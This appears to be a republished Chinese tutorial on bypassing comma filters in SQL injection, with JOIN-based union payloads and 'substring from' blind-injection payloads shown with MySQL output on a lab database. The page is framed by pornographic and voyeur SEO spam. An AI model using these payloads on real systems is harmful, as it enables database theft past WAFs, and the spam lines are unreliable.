在线精品99_中国九九盗摄偷拍偷看_91免费版在线观看_91.app_91高清视频在线_99热最新网站

SQL注入技巧之显注与盲注中过滤逗号绕过的示例分析

106次阅读
没有评论

共计 3846 个字符,预计需要花费 10 分钟才能阅读完成。

丸趣 TV 小编给大家分享一下 SQL 注入技巧之显注与盲注中过滤逗号绕过的示例分析,相信大部分人都还不怎么了解,因此分享这篇文章给大家参考一下,希望大家阅读完这篇文章后大有收获,下面让我们一起去了解一下吧!

1. 联合查询显注绕过逗号

在联合查询时使用 UNION SELECT 1,2,3,4,5,6,7..n 这样的格式爆显示位,语句中包含了多个逗号,如果有 WAF 拦截了逗号时,我们的联合查询不能用了。

绕过

在显示位上替换为常见的注入变量或其它语句

union select 1,2,3;
union select * from ((select 1)A join (select 2)B join (select 3)C);
union select * from ((select 1)A join (select 2)B join (select group_concat(user(),   ,database(),   ,@@datadir))C);

在数据库中演示联合查询

UNION 开始是我们在 URL 中注入的语句,这里只是演示,在实际中如果我们在注入语句中有逗号就可能被拦截

mysql  select user_id,user,password from users union select 1,2,3;
+---------+-------+----------------------------------+
| user_id | user | password |
+---------+-------+----------------------------------+
| 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 |
| 1 | 2 | 3 |
+---------+-------+----------------------------------+
2 rows in set (0.04 sec)

不出现逗号,使用 Join 来注入

mysql  select user_id,user,password from users union select * from ((select 1)A join (select 2)B join (select 3)C);
+---------+-------+----------------------------------+
| user_id | user | password |
+---------+-------+----------------------------------+
| 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 |
| 1 | 2 | 3 |
+---------+-------+----------------------------------+
2 rows in set (0.05 sec)

查询我们想要的数据

mysql  select user_id,user,password from users union select * from ((select 1)A join (select 2)B join (select group_concat(user(),   ,database(),   ,@@datadir))C);;
+---------+-------+-------------------------------------------------+
| user_id | user | password |
+---------+-------+-------------------------------------------------+
| 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 |
| 1 | 2 | [email protected] dvwa c:\phpStudy\MySQL\data\ |
+---------+-------+-------------------------------------------------+
2 rows in set (0.08 sec)

2. 盲注中逗号绕过

MID 和 substr 函数用于从文本字段中提取字符

mysql  select mid(user(),1,2);
+-----------------+
| mid(user(),1,2) |
+-----------------+
| ro |
+-----------------+
1 row in set (0.04 sec)

查询数据库用户名第一个字符的 ascii 码

mysql  select user_id,user,password from users union select ascii(mid(user(),1,2)),2,3;
+---------+-------+----------------------------------+
| user_id | user | password |
+---------+-------+----------------------------------+
| 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 |
| 114 | 2 | 3 |
+---------+-------+----------------------------------+
2 rows in set (0.05 sec)

盲注,通过猜 ascii 值

mysql  select user_id,user,password from users where user_id=1 and (select ascii(mid(user(),1,2))=115) ;
Empty set
mysql  select user_id,user,password from users where user_id=1 and (select ascii(mid(user(),1,2))=114) ;
+---------+-------+----------------------------------+
| user_id | user | password |
+---------+-------+----------------------------------+
| 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 |
+---------+-------+----------------------------------+
1 row in set (0.04 sec)

逗号绕过 SUBTTRING 函数

substring(str FROM pos)

从字符串 str 的起始位置 pos 返回一个子串

mysql  select substring(hello  from 1);
+---------------------------+
| substring(hello  from 1) |
+---------------------------+
| hello |
+---------------------------+
1 row in set (0.04 sec)
mysql  select substring(hello  from 2);
+---------------------------+
| substring(hello  from 2) |
+---------------------------+
| ello |
+---------------------------+
1 row in set (0.03 sec)

注入

mysql  select user_id,user,password from users where user_id=1 and (ascii(substring(user() from 2))=114) ;
Empty set
//substring(user() from 2) 为 o
// o 的 ascii 为 111,mysql  select user_id,user,password from users where user_id=1 and (ascii(substring(user() from 2))=111) ;
+---------+-------+----------------------------------+
| user_id | user | password |
+---------+-------+----------------------------------+
| 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 |
+---------+-------+----------------------------------+
1 row in set (0.03 sec)

以上是“SQL 注入技巧之显注与盲注中过滤逗号绕过的示例分析”这篇文章的所有内容,感谢各位的阅读!相信大家都有了一定的了解,希望分享的内容对大家有所帮助,如果还想学习更多知识,欢迎关注丸趣 TV 行业资讯频道!

正文完
 
丸趣
版权声明:本站原创文章,由 丸趣 2023-08-04发表,共计3846字。
转载说明:除特殊说明外本站除技术相关以外文章皆由网络搜集发布,转载请注明出处。
评论(没有评论)
主站蜘蛛池模板: 久久久久777777人人人视频 | 中文字幕一区二区在线观看 | 久久久99精品免费观看 | 精品日韩一区二区三区视频 | 在线永久免费观看黄网站 | 欧美成人一区二区三区在线观看 | 天天操人人干 | 欧美一级淫片a免费视频 | 午夜色大片在线观看 | 国产av旡码专区亚洲av苍井空 | 自拍偷拍免费视频 | 无遮无挡爽爽免费毛片 | 久久日本精品一区二区免费 | 久久乐国产精品亚洲综合m3u8 | 99精品国产综合久久久久 | 黄色一级片在线免费观看 | 国产成人精品无缓存在线播放 | 亚洲av日韩av综合 | 免费的一级毛片 | 性色av无码久久一区二区三区 | 国产偷国产偷亚洲高清在线 | 亚洲妇熟xxxx妇色黄 | 欧美性受xxxx黑人xyx性爽 | 一进一出一爽又粗又大 | 久久精品国产久精国产 | 韩国主播19福利视频在线观看 | 四虎欧美永久在线精品免费 | 国产精品女在线观看 | 久久性色欲av免费精品观看 | 亚洲欧美精品一区天堂久久 | 成人一区二区免费视频 | 欧美色欧美亚洲高清在线视频 | 福利片网站 | 91精品啪在线观看国产线免费 | 人人妻人人澡av天堂香蕉 | 狠狠操狠狠操狠狠操 | 日本韩国一区二区 | 蕾丝视频在线看片国产 | 白丝美女被狂躁免费视频网站 | 一本一道波多野结衣一区 | 久久久久久久综合综合狠狠 |